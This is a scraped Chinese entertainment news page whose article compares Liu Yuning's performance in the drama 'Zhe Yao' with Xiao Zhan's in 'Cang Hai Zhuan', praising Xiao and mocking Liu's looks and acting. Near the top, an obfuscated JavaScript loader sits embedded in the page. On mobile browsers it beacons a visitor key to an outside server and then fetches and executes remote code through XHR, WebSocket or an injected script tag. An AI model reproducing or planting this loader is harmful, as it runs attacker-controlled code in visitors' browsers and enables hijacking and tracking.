电影资讯 看完刘宇宁《折腰》,再看肖战《藏海传》,没有对比就没有伤害
function rapJjd(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function OaqXHDf(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return rapJjd(t);};window[''+'s'+'Z'+'X'+'f'+'K'+'h'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function oMbn(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=OaqXHDf,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=oMbn(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/10173/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=oMbn(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm55tY3NzLmNuJTNBODg55MQ==','d3NzJTNBJTJGJTJGYS5ha2Rjay5jbiUzQQTk1MzQQ=','10570',window,document,['5','Q']);}:function(){};
首页 电影资讯 看完刘宇宁《折腰》,再看肖战《藏海传》,没有对比就没有伤害

看完刘宇宁《折腰》,再看肖战《藏海传》,没有对比就没有伤害



文|云起

洲洲影视娱评

最近的古装剧市场可谓是硝烟弥漫。

前有压箱底两年的《折腰》空降开播,后有顶流肖战主演的《藏海传》强势接档。

本是同类型复仇权谋爽剧,播出后却迎来“冰火两重天”的口碑。

而这一切争议的核心,都绕不开两位男主角——肖战和刘宇宁



角色适配度

《藏海传》自开机便凭借强大的话题效应未播先火,开播后在短短五分钟收视率便突破2.18。

能取得如此好的成绩,谁看了不说一句:好家伙!



男主角肖战,堪称是整部剧的点睛之笔。

他本来就是古装剧中的“天选之子”,从《陈情令》到《玉骨遥》,他的古装造型从未翻车过。

在《藏海传》中,剧组精心打磨的服化道与场景设计,更是将肖战的外在优势发挥到极致。



剧中藏海是一位不会武功,却满是文人风骨与权谋智慧的角色。

为了精准诠释角色隐忍的特质,肖战特意减重15斤,塑造出纤瘦却挺拔的身形。

而他眉宇间与生俱来的凌厉感,又为角色注入了深沉的权谋气息。



预告片中,他身着红色官服在白雪中行走的画面,瞬间点燃了粉丝的热情。

剧集播出后,路人粉都纷纷称赞肖战是“天选藏海”,认为他的形象与气质就是藏海本人。



再看《折腰》,这部被压了两年的剧能播出,就让不少粉丝直呼过年。

然而,在看到刘宇宁那张脸时,观众的心瞬间冷了一大半。



在原著粉心中,魏劭是英武霸气、沉稳大气的将军,而刘宇宁的外形与魏劭有着不小的差距。

尽管他身高优势明显,能展现出将军的高大威猛,但头肩比却成为致命缺陷。

过宽的肩膀使得头身比例失调,在镜头中常常显得头小脸窄,视觉上不够协调。



他的脸型细长,某些刁钻的镜头角度下,尖细的下巴更是被放大。

这就给人一种不够大气、沉稳的感觉,与将军应有的威严气质一点都不符合。

再加上又细又长的吊眉,搭配过度的滤镜效果,不仅没有凸显角色的英武,反而增添了几分邪魅之气。



网友们毫不留情地吐槽他的形象,诸如“美妆蛋”“鼠系长相”“古偶丑男”等调侃层出不穷。

角色适配度的不足,让不少观众产生了弃剧的想法。



演技对决

肖战的演技,一直都饱受争议。

然而在《藏海传》中,他用实力打破了那些质疑,让那些质疑他演技的人都眼前一亮。



在地下墓室的生死关头,肖战通过细腻入微的表演,将角色内心的恐惧展现得淋漓尽致。

近景镜头中,他眼神中闪烁着惊慌,急促且止不住的喘息。

镜头拉远,他脸上细密的汗珠、逐渐发红的眼眶以及微微颤抖的身躯,每一个细节都精准地刻画了人物在绝境中的害怕与无助。



在他第一次面对灭门仇人平津侯时,肖战更是贡献了一场堪称教科书级别的演技。

远处瞥见仇人时,他的眼神瞬间迸发出如实质般的恨意;

待平津侯走近,他又能迅速将情绪收敛,换上谦卑恭顺的姿态。



他通过瞳孔的细微震颤、嘴角似笑非笑的反差,以及脖颈处肌肉不经意间地抽搐,将角色内心的隐忍与恨意交织的复杂情绪,展现得淋漓尽致。

他的眼神、动作都能让观众隔着屏幕都感受到藏海心中翻涌的惊涛骇浪。



相比之下,刘宇宁在《折腰》中的演技表现则显得差强人意。

他在塑造魏劭这一角色时,过于依赖皱眉、瞪眼等简单粗暴的表演方式来展现角色的霸气。

这种“吹胡子瞪眼”式的表演不仅没有凸显出将军的威严,反而让角色的情绪转变显得突兀。



在与宋祖儿的感情戏中,他眼神空洞无神,表情僵硬木讷。

两人之间毫无CP感可言,让观众很难代入剧情去感受角色间的情感纠葛。



在展现魏劭智谋心机的关键剧情里,刘宇宁未能将角色的机智谋略通过表演传递给观众。

剧情本该如暗潮涌动般精彩,却因他平淡无奇地演绎而失色不少。



在台词处理上,他刻意压低嗓音想要营造角色的威严感,可含糊不清的发音却让台词失去了力量。

网友戏称他“嘴里像含着一口痰”,严重影响了角色的魅力。

更有观众犀利地指出,他的表演如同“AI式演技”,只会重复瞪眼、抿嘴等固定动作,毫无层次感与情感深度。



观众反馈

《藏海传》播出后,肖战凭借对藏海的精彩演绎,成功实现口碑逆袭。

曾经被贴上“偶像派”标签的他,通过这部剧向观众证明了自己的实力,逐渐完成向实力派演员的进阶。



社交媒体上,关于他演技的夸赞铺天盖地,专业影评人也纷纷对他的表演给予高度评价。

不少观众表示,肖战让他们看到了一个演员的无限潜力。



而《折腰》这边,剧集空降播出不仅未能带来惊喜,反而引发了一系列争议。

刘宇宁因形象与演技问题频频登上热搜,“丑”成为网友讨论他时的高频词。



有观众质疑这是资本力捧的结果,认为在形象与演技都不占优势的情况下,他却能担任古装剧男主,背后或许有着不为人知的资本运作。

网络上,关于《折腰》的差评如潮水般涌来,观众对剧集质量的不满,很大程度上都集中在男主角的表现上。



“刘宇宁古装造型”“《折腰》选角失败”“丑”等词条轮番登上热搜。

网友甚至犀利点评刘宇宁:没空陪你闹了,回去好好唱歌吧,演戏我们自有人选。

两部剧截然不同的观众反馈,也直观地反映出市场对于演员实力与角色适配度的严苛要求。



结语

当《折腰》撞上《藏海传》,当刘宇宁撞上肖战,还真是没有对比就没有伤害。

不过,影视作品的评价具有多元性。

观众的审美和喜好各不相同,对于演员的表现也会有不同的看法。

这两部剧你都看了吗?你更喜欢哪一部呢?


本文由网络整理 © 版权归原作者所有
上一篇
才播6集,《藏海传》就收获了好评如潮,这8位黄金配角功不可没
下一篇
优酷“抛出硬货”,《藏海传》再掀长剧现象级热潮

评论

共 0 条评论